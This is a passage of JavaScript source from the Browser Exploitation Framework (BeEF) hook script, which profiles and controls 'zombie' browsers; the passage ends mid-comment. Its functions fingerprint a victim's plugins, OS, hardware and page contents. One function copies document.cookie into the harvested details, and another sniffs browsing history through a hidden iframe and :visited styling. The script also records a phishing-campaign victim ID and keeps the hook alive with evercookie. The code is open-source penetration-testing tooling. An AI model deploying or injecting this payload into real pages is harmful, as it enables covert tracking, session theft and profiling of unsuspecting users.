  7400. hasVLC: function () {
  7401. var vlc = false;
  7402. if (!this.type().IE) {
  7403. for (i = 0; i < navigator.plugins.length; i++) {
  7404. if (navigator.plugins[i].name.indexOf("VLC") >= 0) {
  7405. vlc = true;
  7406. }
  7407. }
  7408. } else {
  7409. try {
  7410. control = new ActiveXObject("VideoLAN.VLCPlugin.2");
  7411. vlc = true;
  7412. } catch (e) {
  7413. beef.debug("Creating VLC ActiveX object failed: " + e.message);
  7414. }
  7415. }
  7416. return vlc;
  7417. },
  7418.  
  7419. /**
  7420. * Checks if the zombie has Java enabled.
  7421. * @return: {Boolean} true or false.
  7422. *
  7423. * @example: if(beef.browser.javaEnabled()) { ... }
  7424. */
  7425. javaEnabled: function () {
  7426.  
  7427. return navigator.javaEnabled();
  7428.  
  7429. },
  7430.  
  7431. /**
  7432. * Checks if the Phonegap API is available from the hooked origin.
  7433. * @return: {Boolean} true or false.
  7434. *
  7435. * @example: if(beef.browser.hasPhonegap()) { ... }
  7436. */
  7437. hasPhonegap: function () {
  7438. var result = false;
  7439.  
  7440. try {
  7441. if (!!device.phonegap || !!device.cordova) result = true; else result = false;
  7442. }
  7443. catch (e) {
  7444. result = false;
  7445. }
  7446. return result;
  7447. },
  7448.  
  7449. /**
  7450. * Checks if the browser supports CORS
  7451. * @return: {Boolean} true or false.
  7452. *
  7453. * @example: if(beef.browser.hasCors()) { ... }
  7454. */
  7455. hasCors: function () {
  7456. if ('withCredentials' in new XMLHttpRequest())
  7457. return true;
  7458. else if (typeof XDomainRequest !== "undefined")
  7459. return true;
  7460. else
  7461. return false;
  7462. },
  7463.  
  7464. /**
  7465. * Checks if the zombie has Java installed and enabled.
  7466. * @return: {Boolean} true or false.
  7467. *
  7468. * @example: if(beef.browser.hasJava()) { ... }
  7469. */
  7470. hasJava: function () {
  7471. if (beef.browser.getPlugins().match(/java/i) && beef.browser.javaEnabled()) {
  7472. return true;
  7473. } else {
  7474. return false;
  7475. }
  7476. },
  7477.  
  7478. /**
  7479. * Checks if the zombie has VBScript enabled.
  7480. * @return: {Boolean} true or false.
  7481. *
  7482. * @example: if(beef.browser.hasVBScript()) { ... }
  7483. */
  7484. hasVBScript: function () {
  7485. if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
  7486. return true;
  7487. } else {
  7488. return false;
  7489. }
  7490. },
  7491.  
  7492. /**
  7493. * Returns the list of plugins installed in the browser.
  7494. */
  7495. getPlugins: function () {
  7496.  
  7497. var results;
  7498. Array.prototype.unique = function () {
  7499. var o = {}, i, l = this.length, r = [];
  7500. for (i = 0; i < l; i += 1) o[this[i]] = this[i];
  7501. for (i in o) r.push(o[i]);
  7502. return r;
  7503. };
  7504.  
  7505. // Things lacking navigator.plugins
  7506. if (!this.capabilities()["navigator.plugins"]) this.getPluginsIE();
  7507.  
  7508. // All other browsers that support navigator.plugins
  7509. else if (navigator.plugins && navigator.plugins.length > 0) {
  7510. results = new Array();
  7511. for (var i = 0; i < navigator.plugins.length; i++) {
  7512.  
  7513. // Firefox returns exact plugin versions
  7514. if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
  7515.  
  7516. // Webkit and Presto (Opera)
  7517. // Don't support the version attribute
  7518. // Sometimes store the version in description (Real, Adobe)
  7519. else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
  7520. }
  7521. results = results.unique().toString();
  7522.  
  7523. // All browsers that don't support navigator.plugins
  7524. } else {
  7525. results = new Array();
  7526. //firefox https://bugzilla.mozilla.org/show_bug.cgi?id=757726
  7527. // On linux sistem the "version" slot is empty so I'll attach "description" after version
  7528. var plugins = {
  7529.  
  7530. 'AdobeAcrobat': {
  7531. 'control': 'Adobe Acrobat',
  7532. 'return': function (control) {
  7533. try {
  7534. version = navigator.plugins["Adobe Acrobat"]["description"];
  7535. return 'Adobe Acrobat Version ' + version; //+ " description "+ filename;
  7536.  
  7537. }
  7538. catch (e) {
  7539. }
  7540.  
  7541.  
  7542. }},
  7543. 'Flash': {
  7544. 'control': 'Shockwave Flash',
  7545. 'return': function (control) {
  7546. try {
  7547. version = navigator.plugins["Shockwave Flash"]["description"];
  7548. return 'Flash Player Version ' + version; //+ " description "+ filename;
  7549. }
  7550.  
  7551. catch (e) {
  7552. }
  7553. }},
  7554. 'Google_Talk_Plugin_Accelerator': {
  7555. 'control': 'Google Talk Plugin Video Accelerator',
  7556. 'return': function (control) {
  7557.  
  7558. try {
  7559. version = navigator.plugins['Google Talk Plugin Video Accelerator']["description"];
  7560. return 'Google Talk Plugin Video Accelerator Version ' + version; //+ " description "+ filename;
  7561. }
  7562. catch (e) {
  7563. }
  7564. }},
  7565. 'Google_Talk_Plugin': {
  7566. 'control': 'Google Talk Plugin',
  7567. 'return': function (control) {
  7568. try {
  7569. version = navigator.plugins['Google Talk Plugin']["description"];
  7570. return 'Google Talk Plugin Version ' + version;// " description "+ filename;
  7571. }
  7572. catch (e) {
  7573. }
  7574. }},
  7575. 'Facebook_Video_Calling_Plugin': {
  7576. 'control': 'Facebook Video Calling Plugin',
  7577. 'return': function (control) {
  7578. try {
  7579. version = navigator.plugins["Facebook Video Calling Plugin"]["description"];
  7580. return 'Facebook Video Calling Plugin Version ' + version;//+ " description "+ filename;
  7581. }
  7582. catch (e) {
  7583. }
  7584. }},
  7585. 'Google_Update': {
  7586. 'control': 'Google Update',
  7587. 'return': function (control) {
  7588. try {
  7589. version = navigator.plugins["Google Update"]["description"];
  7590. return 'Google Update Version ' + version//+ " description "+ filename;
  7591. }
  7592. catch (e) {
  7593. }
  7594. }},
  7595. 'Windows_Activation_Technologies': {
  7596. 'control': 'Windows Activation Technologies',
  7597. 'return': function (control) {
  7598. try {
  7599. version = navigator.plugins["Windows Activation Technologies"]["description"];
  7600. return 'Windows Activation Technologies Version ' + version;//+ " description "+ filename;
  7601. }
  7602. catch (e) {
  7603. }
  7604.  
  7605. }},
  7606. 'VLC_Web_Plugin': {
  7607. 'control': 'VLC Web Plugin',
  7608. 'return': function (control) {
  7609. try {
  7610. version = navigator.plugins["VLC Web Plugin"]["description"];
  7611. return 'VLC Web Plugin Version ' + version;//+ " description "+ filename;
  7612. }
  7613. catch (e) {
  7614. }
  7615. }},
  7616. 'Google_Earth_Plugin': {
  7617. 'control': 'Google Earth Plugin',
  7618.  
  7619. 'return': function (control) {
  7620. try {
  7621. version = navigator.plugins['Google Earth Plugin']["description"];
  7622. return 'Google Earth Plugin Version ' + version;//+ " description "+ filename;
  7623. }
  7624. catch (e) {
  7625. }
  7626. }},
  7627. 'FoxitReader_Plugin': {
  7628. 'control': 'FoxitReader Plugin',
  7629. 'return': function (control) {
  7630. try {
  7631. version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version'];
  7632. return 'FoxitReader Plugin Version ' + version;
  7633. } catch (e) {
  7634. }
  7635. }}
  7636. };
  7637.  
  7638. var c = 0;
  7639. for (var i in plugins) {
  7640. //each element od plugins
  7641. var control = plugins[i]['control'];
  7642. try {
  7643. var version = plugins[i]['return'](control);
  7644. if (version) {
  7645. results[c] = version;
  7646. c = c + 1;
  7647. }
  7648. }
  7649. catch (e) {
  7650. }
  7651.  
  7652. }
  7653. }
  7654. // Return results
  7655. return results;
  7656. },
  7657.  
  7658. /**
  7659. * Returns a list of plugins detected by IE. This is a hack because IE doesn't
  7660. * support navigator.plugins
  7661. */
  7662. getPluginsIE: function () {
  7663. var results = '';
  7664. var plugins = {'AdobePDF6': {
  7665. 'control': 'PDF.PdfCtrl',
  7666. 'return': function (control) {
  7667. version = control.getVersions().split(',');
  7668. version = version[0].split('=');
  7669. return 'Acrobat Reader v' + parseFloat(version[1]);
  7670. }},
  7671. 'AdobePDF7': {
  7672. 'control': 'AcroPDF.PDF',
  7673. 'return': function (control) {
  7674. version = control.getVersions().split(',');
  7675. version = version[0].split('=');
  7676. return 'Acrobat Reader v' + parseFloat(version[1]);
  7677. }},
  7678. 'Flash': {
  7679. 'control': 'ShockwaveFlash.ShockwaveFlash',
  7680. 'return': function (control) {
  7681. version = control.getVariable('$version').substring(4);
  7682. return 'Flash Player v' + version.replace(/,/g, ".");
  7683. }},
  7684. 'Quicktime': {
  7685. 'control': 'QuickTime.QuickTime',
  7686. 'return': function (control) {
  7687. return 'QuickTime Player';
  7688. }},
  7689. 'RealPlayer': {
  7690. 'control': 'RealPlayer',
  7691. 'return': function (control) {
  7692. version = control.getVersionInfo();
  7693. return 'RealPlayer v' + parseFloat(version);
  7694. }},
  7695. 'Shockwave': {
  7696. 'control': 'SWCtl.SWCtl',
  7697. 'return': function (control) {
  7698. version = control.ShockwaveVersion('').split('r');
  7699. return 'Shockwave v' + parseFloat(version[0]);
  7700. }},
  7701. 'WindowsMediaPlayer': {
  7702. 'control': 'WMPlayer.OCX',
  7703. 'return': function (control) {
  7704. return 'Windows Media Player v' + parseFloat(control.versionInfo);
  7705. }},
  7706. 'FoxitReaderPlugin': {
  7707. 'control': 'FoxitReader.FoxitReaderCtl.1',
  7708. 'return': function (control) {
  7709. return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo);
  7710. }}
  7711. };
  7712. if (window.ActiveXObject) {
  7713. var j = 0;
  7714. for (var i in plugins) {
  7715. var control = null;
  7716. var version = null;
  7717. try {
  7718. control = new ActiveXObject(plugins[i]['control']);
  7719. } catch (e) {
  7720. }
  7721. if (control) {
  7722. if (j != 0)
  7723. results += ', ';
  7724. results += plugins[i]['return'](control);
  7725. j++;
  7726. }
  7727. }
  7728. }
  7729. return results;
  7730. },
  7731.  
  7732. /**
  7733. * Returns zombie screen size and color depth.
  7734. */
  7735. getScreenSize: function () {
  7736. return {
  7737. width: window.screen.width,
  7738. height: window.screen.height,
  7739. colordepth: window.screen.colorDepth
  7740. }
  7741. },
  7742.  
  7743. /**
  7744. * Returns zombie browser window size.
  7745. * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
  7746. */
  7747. getWindowSize: function () {
  7748. var myWidth = 0, myHeight = 0;
  7749. if (typeof( window.innerWidth ) == 'number') {
  7750. // Non-IE
  7751. myWidth = window.innerWidth;
  7752. myHeight = window.innerHeight;
  7753. } else if (document.documentElement && ( document.documentElement.clientWidth ||
  7754.  
  7755. document.documentElement.clientHeight )) {
  7756. // IE 6+ in 'standards compliant mode'
  7757. myWidth = document.documentElement.clientWidth;
  7758. myHeight = document.documentElement.clientHeight;
  7759. } else if (document.body && ( document.body.clientWidth || document.body.clientHeight )) {
  7760. // IE 4 compatible
  7761. myWidth = document.body.clientWidth;
  7762. myHeight = document.body.clientHeight;
  7763. }
  7764. return {
  7765. width: myWidth,
  7766. height: myHeight
  7767. }
  7768. },
  7769.  
  7770. /**
  7771. * Construct hash from browser details. This function is used to grab the browser details during the hooking
  7772.  
  7773. process
  7774. */
  7775. getDetails: function () {
  7776. var details = new Array();
  7777.  
  7778. var browser_name = beef.browser.getBrowserName();
  7779. var browser_version = beef.browser.getBrowserVersion();
  7780. var browser_reported_name = beef.browser.getBrowserReportedName();
  7781. var browser_language = beef.browser.getBrowserLanguage();
  7782. var page_title = (document.title) ? document.title : "Unknown";
  7783. var page_uri = (document.location.href) ? document.location.href : "Unknown";
  7784. var page_referrer = (document.referrer) ? document.referrer : "Unknown";
  7785. var hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
  7786. switch (document.location.protocol) {
  7787. case "http:":
  7788. var default_port = "80";
  7789. break;
  7790. case "https:":
  7791. var default_port = "443";
  7792. break
  7793. default:
  7794. var default_port = "";
  7795. }
  7796. var hostport = (document.location.port) ? document.location.port : default_port;
  7797. var browser_plugins = beef.browser.getPlugins();
  7798. var date_stamp = new Date().toString();
  7799. var os_name = beef.os.getName();
  7800. var os_version = beef.os.getVersion();
  7801. var default_browser = beef.os.getDefaultBrowser();
  7802. var hw_name = beef.hardware.getName();
  7803. var cpu_type = beef.hardware.cpuType();
  7804. var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
  7805. var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ?
  7806.  
  7807. navigator.platform : null;
  7808. var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {
  7809. if (value == true) return value; else if (typeof value == 'object') return value; else return;
  7810. });
  7811. var screen_size = beef.browser.getScreenSize();
  7812. var window_size = beef.browser.getWindowSize();
  7813. var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
  7814. var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
  7815. var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
  7816. var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
  7817. var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
  7818. var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
  7819. var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
  7820. var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
  7821. var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
  7822. var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
  7823. try {
  7824. var cookies = document.cookie;
  7825. var veglol = beef.browser.cookie.veganLol();
  7826. var has_session_cookies = (beef.browser.cookie.hasSessionCookies(veglol)) ? "Yes" : "No";
  7827. var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies(veglol)) ? "Yes" : "No";
  7828. if (cookies) details['Cookies'] = cookies;
  7829. if (has_session_cookies) details['hasSessionCookies'] = has_session_cookies;
  7830. if (has_persistent_cookies) details['hasPersistentCookies'] = has_persistent_cookies;
  7831. } catch (e) {
  7832. // the hooked origin is using HttpOnly. EverCookie is persisting the BeEF hook in a different way,
  7833. // and there is no reason to read cookies at this point
  7834. details['Cookies'] = "Cookies can't be read. The hooked origin is most probably using HttpOnly.";
  7835. details['hasSessionCookies'] = "No";
  7836. details['hasPersistentCookies'] = "No";
  7837. }
  7838.  
  7839. if (browser_name) details['BrowserName'] = browser_name;
  7840. if (browser_version) details['BrowserVersion'] = browser_version;
  7841. if (browser_reported_name) details['BrowserReportedName'] = browser_reported_name;
  7842. if (browser_language) details['BrowserLanguage'] = browser_language;
  7843. if (page_title) details['PageTitle'] = page_title;
  7844. if (page_uri) details['PageURI'] = page_uri;
  7845. if (page_referrer) details['PageReferrer'] = page_referrer;
  7846. if (hostname) details['HostName'] = hostname;
  7847. if (hostport) details['HostPort'] = hostport;
  7848. if (browser_plugins) details['BrowserPlugins'] = browser_plugins;
  7849. if (os_name) details['OsName'] = os_name;
  7850. if (os_version) details['OsVersion'] = os_version;
  7851. if (default_browser) details['DefaultBrowser'] = default_browser;
  7852. if (hw_name) details['Hardware'] = hw_name;
  7853. if (cpu_type) details['CPU'] = cpu_type;
  7854. if (touch_enabled) details['TouchEnabled'] = touch_enabled;
  7855. if (date_stamp) details['DateStamp'] = date_stamp;
  7856. if (browser_platform) details['BrowserPlatform'] = browser_platform;
  7857. if (browser_type) details['BrowserType'] = browser_type;
  7858. if (screen_size) details['ScreenSize'] = screen_size;
  7859. if (window_size) details['WindowSize'] = window_size;
  7860. if (vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled;
  7861. if (has_flash) details['HasFlash'] = has_flash;
  7862. if (has_phonegap) details['HasPhonegap'] = has_phonegap;
  7863. if (has_web_socket) details['HasWebSocket'] = has_web_socket;
  7864. if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
  7865. if (has_webrtc) details['HasWebRTC'] = has_webrtc;
  7866. if (has_activex) details['HasActiveX'] = has_activex;
  7867. if (has_quicktime) details['HasQuickTime'] = has_quicktime;
  7868. if (has_realplayer) details['HasRealPlayer'] = has_realplayer;
  7869. if (has_wmp) details['HasWMP'] = has_wmp;
  7870.  
  7871. var pf_integration = "";
  7872. if (pf_integration) {
  7873. var pf_param = "uid";
  7874. var pf_victim_uid = "";
  7875. var location_search = window.location.search.substring(1);
  7876. var params = location_search.split('&');
  7877. for (var i = 0; i < params.length; i++) {
  7878. var param_entry = params[i].split('=');
  7879. if (param_entry[0] == pf_param) {
  7880. pf_victim_uid = param_entry[1];
  7881. details['PhishingFrenzyUID'] = pf_victim_uid;
  7882. break;
  7883. }
  7884. }
  7885. } else {
  7886. details['PhishingFrenzyUID'] = "N/A";
  7887. }
  7888.  
  7889. return details;
  7890. },
  7891.  
  7892. /**
  7893. * Returns boolean value depending on whether the browser supports ActiveX
  7894. */
  7895. hasActiveX: function () {
  7896. return !!window.ActiveXObject;
  7897. },
  7898.  
  7899. /**
  7900. * Returns boolean value depending on whether the browser supports WebRTC
  7901. */
  7902. hasWebRTC: function () {
  7903. return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);
  7904. },
  7905.  
  7906. /**
  7907. * Returns boolean value depending on whether the browser supports Silverlight
  7908. */
  7909. hasSilverlight: function () {
  7910. var result = false;
  7911.  
  7912. try {
  7913. if (beef.browser.isIE()) {
  7914. var slControl = new ActiveXObject('AgControl.AgControl');
  7915. result = true;
  7916. } else if (navigator.plugins["Silverlight Plug-In"]) {
  7917. result = true;
  7918. }
  7919. } catch (e) {
  7920. result = false;
  7921. }
  7922.  
  7923. return result;
  7924. },
  7925.  
  7926. /**
  7927. * Returns array of results, whether or not the target zombie has visited the specified URL
  7928. */
  7929. hasVisited: function (urls) {
  7930. var results = new Array();
  7931. var iframe = beef.dom.createInvisibleIframe();
  7932. var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
  7933. ifdoc.open();
  7934. ifdoc.write('<style>a:visited{width:0px !important;}</style>');
  7935. ifdoc.close();
  7936. urls = urls.split("\n");
  7937. var count = 0;
  7938. for (var i in urls) {
  7939. var u = urls[i];
  7940. if (u != "" || u != null) {
  7941. var success = false;
  7942. var a = ifdoc.createElement('a');
  7943. a.href = u;
  7944. ifdoc.body.appendChild(a);
  7945. var width = null;
  7946. (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a,
  7947.  
  7948. null).getPropertyValue("width");
  7949. if (width == '0px') {
  7950. success = true;
  7951. }
  7952. results.push({'url': u, 'visited': success});
  7953. count++;
  7954. }
  7955. }
  7956. beef.dom.removeElement(iframe);
  7957. if (results.length == 0) {
  7958. return false;
  7959. }
  7960. return results;
  7961. },
  7962.  
  7963. /**
  7964. * Checks if the zombie has Web Sockets enabled.
  7965. * @return: {Boolean} true or false.
  7966. * In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket
  7967. * */
  7968. hasWebSocket: function () {
  7969. return !!window.WebSocket || !!window.MozWebSocket;
  7970. },
  7971.  
  7972. /**
  7973. * Checks if the zombie has Google Gears installed.
  7974. * @return: {Boolean} true or false.
  7975. *
  7976. * @from: https://code.google.com/apis/gears/gears_init.js
  7977. * */
  7978. hasGoogleGears: function () {
  7979.  
  7980. var ggfactory = null;
  7981.  
  7982. // Chrome
  7983. if (window.google && google.gears) return true;
  7984.  
  7985. // Firefox
  7986. if (typeof GearsFactory != 'undefined') {
  7987. ggfactory = new GearsFactory();
  7988. } else {
  7989. // IE
  7990. try {
  7991. ggfactory = new ActiveXObject('Gears.Factory');
  7992. // IE Mobile on WinCE.
  7993. if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
  7994. ggfactory.privateSetGlobalObject(this);
  7995. }
  7996. } catch (e) {
  7997. // Safari
  7998. if ((typeof navigator.mimeTypes != 'undefined')
  7999. && navigator.mimeTypes["application/x-googlegears"]) {
  8000. ggfactory = document.createElement("object");
  8001. ggfactory.style.display = "none";
  8002. ggfactory.width = 0;
  8003. ggfactory.height = 0;
  8004. ggfactory.type = "application/x-googlegears";
  8005. document.documentElement.appendChild(ggfactory);
  8006. if (ggfactory && (typeof ggfactory.create == 'undefined')) ggfactory = null;
  8007. }
  8008. }
  8009. }
  8010. if (!ggfactory) return false; else return true;
  8011. },
  8012.  
  8013. /**
  8014. * Checks if the zombie has Foxit PDF reader plugin.
  8015. * @return: {Boolean} true or false.
  8016. *
  8017. * @example: if(beef.browser.hasFoxit()) { ... }
  8018. * */
  8019. hasFoxit: function () {
  8020.  
  8021. var foxitplugin = false;
  8022.  
  8023. try {
  8024. if (beef.browser.isIE()) {
  8025. var foxitControl = new ActiveXObject('FoxitReader.FoxitReaderCtl.1');
  8026. foxitplugin = true;
  8027. } else if (navigator.plugins['Foxit Reader Plugin for Mozilla']) {
  8028. foxitplugin = true;
  8029. }
  8030. } catch (e) {
  8031. foxitplugin = false;
  8032. }
  8033.  
  8034. return foxitplugin;
  8035. },
  8036.  
  8037. /**
  8038. * Returns the page head HTML
  8039. **/
  8040. getPageHead: function () {
  8041. var html_head;
  8042. try {
  8043. html_head = document.head.innerHTML.toString();
  8044. } catch (e) {
  8045. }
  8046. return html_head;
  8047. },
  8048.  
  8049. /**
  8050. * Returns the page body HTML
  8051. **/
  8052. getPageBody: function () {
  8053. var html_body;
  8054. try {
  8055. html_body = document.body.innerHTML.toString();
  8056. } catch (e) {
  8057. }
  8058. return html_body;
  8059. },
  8060.  
  8061. /**
  8062. * Dynamically changes the favicon: works in Firefox, Chrome and Opera
  8063. **/
  8064. changeFavicon: function (favicon_url) {
  8065. var iframe = null;
  8066. if (this.isC()) {
  8067. iframe = document.createElement('iframe');
  8068. iframe.src = 'about:blank';
  8069. iframe.style.display = 'none';
  8070. document.body.appendChild(iframe);
  8071. }
  8072. var link = document.createElement('link'),
  8073. oldLink = document.getElementById('dynamic-favicon');
  8074. link.id = 'dynamic-favicon';
  8075. link.rel = 'shortcut icon';
  8076. link.href = favicon_url;
  8077. if (oldLink) document.head.removeChild(oldLink);
  8078. document.head.appendChild(link);
  8079. if (this.isC()) iframe.src += '';
  8080. },
  8081.  
  8082. /**
  8083. * Changes page title
  8084. **/
  8085. changePageTitle: function (title) {
  8086. document.title = title;
  8087. },
  8088.  
  8089. /**
  8090. * Get the browser language
  8091. */
  8092. getBrowserLanguage: function () {
  8093. var l = 'Unknown';
  8094. try {
  8095. l = window.navigator.userLanguage || window.navigator.language;
  8096. } catch (e) {
  8097. }
  8098. return l;
  8099. },
  8100.  
  8101. /**
  8102. * A function that gets the max number of simultaneous connections the
  8103. * browser can make per origin, or globally on all origin.
  8104. *
  8105. * This code is based on research from browserspy.dk
  8106. *
  8107. * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
  8108. * @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
  8109. * the number of connections to the callback function as "this"
  8110. *
  8111. * example usage:
  8112. * $j.when(getMaxConnections()).done(function(){
  8113. * console.debug("Max Connections: " + this);
  8114. * });
  8115. *
  8116. */
  8117. getMaxConnections: function (scope) {
  8118.  
  8119. var imagesCount = 30; // Max number of images to test
  8120. var secondsTimeout = 5; // Image load timeout threashold
  8121. var testUrl = ""; // The image testing service URL
  8122.  
  8123. // User broserspy.dk max connections service URL.
  8124. if (scope == 'PER_DOMAIN')
  8125. testUrl = "http://browserspy.dk/connections.php?img=1&amp;random=";
  8126. else
  8127. // The token will be replaced by a different number with each request (different origin).
  8128. testUrl = "http://<token>.browserspy.dk/connections.php?img=1&amp;random=";
  8129.  
  8130. var imagesLoaded = 0; // Number of responding images before timeout.
  8131. var imagesRequested = 0; // Number of requested images.
  8132. var testImages = new Array(); // Array of all images.
  8133. var deferredObject = $j.Deferred(); // A jquery Deferred object.
  8134.  
  8135. for (var i = 1; i <= imagesCount; i++) {
  8136. // Asynchronously request image.
  8137. testImages[i] =
  8138. $j.ajax({
  8139. type: "get",
  8140. dataType: true,
  8141. url: (testUrl.replace("<token>", i)) + Math.random(),
  8142. data: "",
  8143. timeout: (secondsTimeout * 1000),
  8144.  
  8145. // Function on completion of request.
  8146. complete: function (jqXHR, textStatus) {
  8147.  
  8148. imagesRequested++;
  8149.  
  8150. // If the image returns a 200 or a 302, the text Status is "error", else null
  8151. if (textStatus == "error") {
  8152. imagesLoaded++;
  8153. }
  8154.  
  8155. // If all images requested
  8156. if (imagesRequested >= imagesCount) {
  8157. // resolve the deferred object passing the number of loaded images.
  8158. deferredObject.resolveWith(imagesLoaded);
  8159. }
  8160. }
  8161. });
  8162.  
  8163. }
  8164.  
  8165. // Return a promise to resolve the deffered object when the images are loaded.
  8166. return deferredObject.promise();
  8167.  
  8168. }
  8169.  
  8170. };
  8171.  
  8172. beef.regCmp('beef.browser');
  8173.  
  8174.  
  8175. //
  8176. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  8177. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8178. // See the file 'doc/COPYING' for copying permission
  8179. //
  8180.  
  8181. /*!
  8182. * @literal object: beef.browser.cookie
  8183. *
  8184. * Provides fuctions for working with cookies.
  8185. * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
  8186. * Original author unknown.
  8187. *
  8188. */
  8189. beef.browser.cookie = {
  8190.  
  8191. setCookie: function (name, value, expires, path, domain, secure)
  8192. {
  8193.  
  8194. var today = new Date();
  8195. today.setTime( today.getTime() );
  8196.  
  8197. if ( expires )
  8198. {
  8199. expires = expires * 1000 * 60 * 60 * 24;
  8200. }
  8201. var expires_date = new Date( today.getTime() + (expires) );
  8202.  
  8203. document.cookie = name + "=" +escape( value ) +
  8204. ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
  8205. ( ( path ) ? ";path=" + path : "" ) +
  8206. ( ( domain ) ? ";domain=" + domain : "" ) +
  8207. ( ( secure ) ? ";secure" : "" );
  8208. },
  8209.  
  8210. getCookie: function(name)
  8211. {
  8212. var a_all_cookies = document.cookie.split( ';' );
  8213. var a_temp_cookie = '';
  8214. var cookie_name = '';
  8215. var cookie_value = '';
  8216. var b_cookie_found = false;
  8217.  
  8218. for ( i = 0; i < a_all_cookies.length; i++ )
  8219. {
  8220. a_temp_cookie = a_all_cookies[i].split( '=' );
  8221. cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
  8222. if ( cookie_name == name )
  8223. {
  8224. b_cookie_found = true;
  8225. if ( a_temp_cookie.length > 1 )
  8226. {
  8227. cookie_value = unescape( a_temp_cookie
  8228.  
  8229. [1].replace(/^\s+|\s+$/g, '') );
  8230. }
  8231. return cookie_value;
  8232. break;
  8233. }
  8234. a_temp_cookie = null;
  8235. cookie_name = '';
  8236. }
  8237. if ( !b_cookie_found )
  8238. {
  8239. return null;
  8240. }
  8241. },
  8242.  
  8243. deleteCookie: function (name, path, domain)
  8244. {
  8245. if ( this.getCookie(name) ) document.cookie = name + "=" +
  8246. ( ( path ) ? ";path=" + path : "") +
  8247. ( ( domain ) ? ";domain=" + domain : "" ) +
  8248. ";expires=Thu, 01-Jan-1970 00:00:01 GMT";
  8249. },
  8250.  
  8251. veganLol: function (){
  8252. var to_hell= '';
  8253. var min = 17;
  8254. var max = 25;
  8255. var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
  8256.  
  8257. var grunt = function(){
  8258. var moo = Math.floor(Math.random() * 62);
  8259. var char = '';
  8260. if(moo < 36){
  8261. char = String.fromCharCode(moo + 55);
  8262. }else{
  8263. char = String.fromCharCode(moo + 61);
  8264. }
  8265. if(char != ';' && char != '='){
  8266. return char;
  8267. }else{
  8268. return 'x';
  8269. }
  8270. };
  8271.  
  8272. while(to_hell.length < lol_length){
  8273. to_hell += grunt();
  8274. }
  8275. return to_hell;
  8276. },
  8277.  
  8278. hasSessionCookies: function (name){
  8279. this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
  8280.  
  8281. cookiesEnabled = (this.getCookie(name) == null)? false:true;
  8282. this.deleteCookie(name, '/', '');
  8283. return cookiesEnabled;
  8284.  
  8285. },
  8286.  
  8287. hasPersistentCookies: function (name){
  8288. this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
  8289.  
  8290. cookiesEnabled = (this.getCookie(name) == null)? false:true;
  8291. this.deleteCookie(name, '/', '');
  8292. return cookiesEnabled;
  8293.  
  8294. }
  8295.  
  8296. };
  8297.  
  8298. beef.regCmp('beef.browser.cookie');
  8299.  
  8300. //
  8301. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  8302. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8303. // See the file 'doc/COPYING' for copying permission
  8304. //
  8305.  
  8306. /*!
  8307. * @literal object: beef.browser.popup
  8308. *
  8309. * Provides fuctions for working with cookies.
  8310. * Several functions adopted from http://davidwalsh.name/popup-block-javascript
  8311. * Original author unknown.
  8312. *
  8313. */
  8314. beef.browser.popup = {
  8315.  
  8316. blocker_enabled: function ()
  8317. {
  8318. screenParams = beef.browser.getScreenSize();
  8319. var popUp = window.open('/', 'windowName0', 'width=1, height=1,
  8320.  
  8321. left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
  8322. if (popUp == null || typeof(popUp)=='undefined') {
  8323. return true;
  8324. } else {
  8325. popUp.close();
  8326. return false;
  8327. }
  8328. }
  8329. };
  8330.  
  8331. beef.regCmp('beef.browser.popup');
  8332.  
  8333.  
  8334. //
  8335. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  8336. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8337. // See the file 'doc/COPYING' for copying permission
  8338. //
  8339.  
  8340. /*!
  8341. * @literal object: beef.session
  8342. *
  8343. * Provides basic session functions.
  8344. */
  8345. beef.session = {
  8346.  
  8347. hook_session_id_length: 80,
  8348. hook_session_id_chars:
  8349.  
  8350. "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
  8351. ec: new evercookie(),
  8352. beefhook: "BEEFHOOK",
  8353.  
  8354. /**
  8355. * Gets a string which will be used to identify the hooked browser session
  8356. *
